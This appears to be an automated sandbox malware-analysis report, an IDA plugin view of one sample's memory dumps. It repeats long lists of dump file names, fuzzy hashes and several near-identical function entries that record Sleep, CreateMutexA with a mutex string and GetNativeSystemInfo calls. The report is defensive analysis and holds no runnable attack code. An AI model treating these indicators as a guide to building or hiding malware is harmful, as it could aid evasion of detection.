Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2k
API String ID: 1464230837-2749674463
Opcode ID: 98fab083cf3154be58fa22783714b76e339379c0773fcf11dcc341ff7005f465
Instruction ID: 4e10aa2ed0939adc727255d147c5758f255d9a4d9ced26a31d0a2c4b7a50be40
Opcode Fuzzy Hash: 98fab083cf3154be58fa22783714b76e339379c0773fcf11dcc341ff7005f465
Instruction Fuzzy Hash: FE312871B141008BEB08DBB8CC89BAEB763EFC5315F24431CE9549B3D5D73599848756

Function 0065A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0065A963
CreateMutexA.KERNEL32(00000000,00000000,006B3254), ref: 0065A981

Strings

T2k, xrefs: 0065A970

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2k
API String ID: 1464230837-2749674463
Opcode ID: 54200a65aa40a29ee2c53bb1abcce26d6cdeb824423946c4ee9ffe57d3a83e87
Instruction ID: 77249c716867c2be940a0100b9c5928747b46abe33cce3668ead284b3bbe6a79
Opcode Fuzzy Hash: 54200a65aa40a29ee2c53bb1abcce26d6cdeb824423946c4ee9ffe57d3a83e87
Instruction Fuzzy Hash: 60314871B142008BEB08DBB8DC897AEB7A3EBC5311F248358E954DB3D5C73599888756

Function 00659ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0065A963
CreateMutexA.KERNEL32(00000000,00000000,006B3254), ref: 0065A981

Strings

T2k, xrefs: 0065A970

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2k
API String ID: 1464230837-2749674463
Opcode ID: d12ccc8b0ff6a918bd7f0ddf4c75f74edf4dc1e3b7dfda831af9822ff96fca4c
Instruction ID: a1e529c54856415b7fbf93729458462c574924a6af5ecebfe2e40388934edc02
Opcode Fuzzy Hash: d12ccc8b0ff6a918bd7f0ddf4c75f74edf4dc1e3b7dfda831af9822ff96fca4c
Instruction Fuzzy Hash: 0E213732B142009BFB18AB68DC857AEB7A7EBC1311F20431DE948D73D5D7756A848762

Function 0065A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0065A963
CreateMutexA.KERNEL32(00000000,00000000,006B3254), ref: 0065A981

Strings

T2k, xrefs: 0065A970

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2k
API String ID: 1464230837-2749674463
Opcode ID: db44d1cf9f3a0a0bc432b831b85954c9f28d47077d8021eae399f7de770e49e7
Instruction ID: 714115611a13d8e2df7db0dc7bc64b1221ce5608f3d64373fc42fd29c6aaa96b
Opcode Fuzzy Hash: db44d1cf9f3a0a0bc432b831b85954c9f28d47077d8021eae399f7de770e49e7
Instruction Fuzzy Hash: A8214F717581019AFB2467E898867BEB363DFC1302F240B1AEE44D73D1CB7659898297

Function 0065A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0065A963
CreateMutexA.KERNEL32(00000000,00000000,006B3254), ref: 0065A981

Strings

T2k, xrefs: 0065A970

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2k
API String ID: 1464230837-2749674463
Opcode ID: acff0de612e70c60ae2a30e7211411730fce8ee40d119c341221ccfda74b4355
Instruction ID: 606b7b7e49d8b2f53d99d5eacd3ceee14bedd80a94034f86ceeec70499c3a315
Opcode Fuzzy Hash: acff0de612e70c60ae2a30e7211411730fce8ee40d119c341221ccfda74b4355
Instruction Fuzzy Hash: 232179327542009BEB089BA8DC857AEB7A3DFC2316F24431DE908D73D5C7756A848352

Function 00657D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00657ED3

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
